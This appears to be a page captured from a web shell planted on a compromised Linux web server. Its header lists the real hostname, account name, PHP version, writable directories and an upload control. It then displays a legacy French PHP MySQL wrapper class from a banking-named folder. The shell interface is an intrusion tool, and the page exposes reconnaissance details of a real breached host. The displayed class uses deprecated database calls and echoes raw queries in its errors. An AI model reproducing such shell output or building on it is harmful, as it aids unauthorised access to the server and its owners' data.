Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/aftrn/banque_HS/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/aftrn/banque_HS/database.class.php
<?     
////////////////////////////////////////////////////////////////////////////////////////////////////
//        Script d&eacute;velopp&eacute; par F. Bouchery [frederic.bouchery@consultant.com]                     //
// Ce script est enti&egrave;rement libre de droits, mais je vous demanderai de laisser ce commentaire   //
// Si vous voulez apporter des modifs int&eacute;ressantes, mailer moi le r&eacute;sultat. Merci.               //
////////////////////////////////////////////////////////////////////////////////////////////////////

define('DATABASE_CLASS_INCLUDED',1); 

// Fonction de connexion &agrave; la base. Il faut l'appeler au tout d&eacute;but !
// Si vous avez d&eacute;j&agrave; d&eacute;fini une fonction Erreur_mySQL, elle sera utilis&eacute; si n&eacute;cessaire.
function ConnectToDataBase($mysqlserveur,$mysqlloggin,$mysqlpassword,$mysqlmaindb) 
{  
 if(!@mysql_connect($mysqlserveur,$mysqlloggin,$mysqlpassword) || !@mysql_select_db($mysqlmaindb)): 
  if(function_exists('Erreur_mySQL')) Erreur_mySQL('Pendant la connexion &agrave; la base');  
  else echo 'Erreur de connexion &agrave; la base';  
  exit; 
 endif;  
}        

// Classe utilis&eacute;e pour effectuer des requ&ecirc;tes &agrave; une base de donn&eacute;es mySQL
// Si vous utilisez une autre base, il faut modifier cette classe
class query 
{ 
 var $result = 0; 
 var $row = array(); 
 
 // Effectue une requ&ecirc;te
 function query($query =  '') 
 { 
  if($query && (!$this->result = mySQL_Query($query))): 
   if(function_exists(  'Erreur_mySQL')) Erreur_mySQL(  "Erreur pendant la requ&ecirc;te : $query");  
   else echo   "Erreur pendant la requ&ecirc;te : $query";   
   exit;  
  endif; 
 } 
 // donne le nombre d'enregistrement g&eacute;n&eacute;r&eacute; par la requ&ecirc;te 
 function count() 
 {               
  return @mySQL_Num_Rows($this->result); 
 } 
 // Replace le pointeur d'enregistrement au d&eacute;but (pas tr&egrave;s utilis&eacute; !) 
 function reset() 
 { 
  @mysql_data_seek($this->result,0);     
 } 
 // R&eacute;cup&egrave;re l'enregistrement suivant dans la base sous forme de tableau quand il n'y a pas
 // de param&egrave;tre. Sinon, c'est la valeur du champ lui m&ecirc;me.
 // si l'appel n'a jamais &eacute;t&eacute; fait, c'est le premier enregistrement
 function fetch($champ =  '') 
 { 
  $this->row = @mySQL_Fetch_Array($this->result); 
  return $champ?$this->row[$champ]:$this->row; 
 } 
 
 // Donne la valeur du champ.
 // ATTENTION: Le pointeur d'enregistrement n'est pas incr&eacute;ment&eacute;
 //            si vous n'avez pas encore fait de fetch(), cette 
 //            fonction ne renvoie rien !
 function Get($champ) 
 {            
  return $this->row[$champ]; 
 } 
 
 // Donne la valeur du dernier champ autoincr&eacute;ment&eacute;
 // Si une requ&ecirc;te dans un autre objet a &eacute;t&eacute; faite avant
 // cette fonction retourne la valeur de cet objet
 function Get_Auto()
 {
  return mySQL_Insert_Id();
 }
} 
?>

SAMX